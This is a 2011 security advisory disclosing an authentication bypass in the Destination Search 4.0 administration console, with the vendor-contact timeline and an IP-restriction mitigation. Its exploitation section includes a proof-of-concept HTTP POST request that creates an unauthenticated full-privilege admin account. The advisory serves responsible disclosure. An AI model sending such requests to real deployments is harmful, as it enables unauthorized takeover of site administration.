security-assessment.com

A DIVISION OF DIMENSION DATA

Vulnerability Advisory

Name	Destination Search Admin Console Access Control Bypass
Vendor Website	http://www.localmatters.com/
Date Released	13th October 2011
Affected Software	Destination Search 4.0
Researcher	Drew Calcott – drew.calcott@security-assessment.com

Description

From the vendor website:

> Destination Search is an industry-leading search platform that enables publishers to promote local business listings on web and mobile devices. Developed with smart search technology, Destination Search ensures relevant results that match consumer intent, by enabling searches by business name, keyword or category.

The Destination Search software platform includes an administration console for use by site owners and partners. The console allows for modification of site content, management of user accounts and the tracking of click-through rates for advertisers.

It was discovered that access controls in place on the console are insufficient and permit unauthenticated users to perform actions that should be restricted.

Exploitation

Exploitation of this vulnerability involves directly accessing application pages that do not implement validation of access control restrictions.

For example, if an unauthenticated user attempts to access a site template configuration page residing at http://ds.example.com/selfserve/settings/page-templates they will correctly be redirected to the console login page. However, by directly requesting the following page at http://ds.example.com/selfserve/ss/settings/page-templates, no session validation is performed and the page is visible.

The following table contains a proof-of-concept HTTP POST request that will create a new user called “malicious” with the password “malicious123” and full administration privileges to the application (the default “Admin” group has a roleID of 0). Note that this request does not require any cookie header to be supplied.

Destination Search Unauthenticated User Creation Proof-of-Concept

```
POST /selfserve/ss/user/edit HTTP/1.0
Host: ds.example.com
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 91

userId=&name=malicious&_status=on&password=malicious123&roleId=0&editListing=all&con
dition=all
```

The application will then return confirmation of successful account creation in the HTTP response. A malicious user is then free to log in to the administration console with full privileges.

Copyright Security-Assessment.com 2011

Solution

Security-Assessment.com has tried on numerous occasions to contact Local Matters, Inc. via email and Twitter to alert them to the existence of this vulnerability. At the time of writing this advisory, no response has been received from the vendor at all. As such, we are currently unaware of any security patches being developed by Local Matters, Inc. to mitigate this critical exploit.

Until the vendor develops and releases an update to their software package, Security-Assessment.com strongly advises any company that has Destination Search deployed in a production environment to restrict access to the administration console to authorised IP addresses only.

Advisory Timeline

- 01/09/2011 – Vulnerability discovered
- 05/09/2011 – Email sent to vendor with details of vulnerability
- 21/09/2011 – Second attempt at email notification to vendor
- 28/09/2011 – Communication with vendor attempted via @matterslocal Twitter account
- 13/10/2011 – Public release of advisory

About Security-Assessment.com

Security-Assessment.com is Australasia’s leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.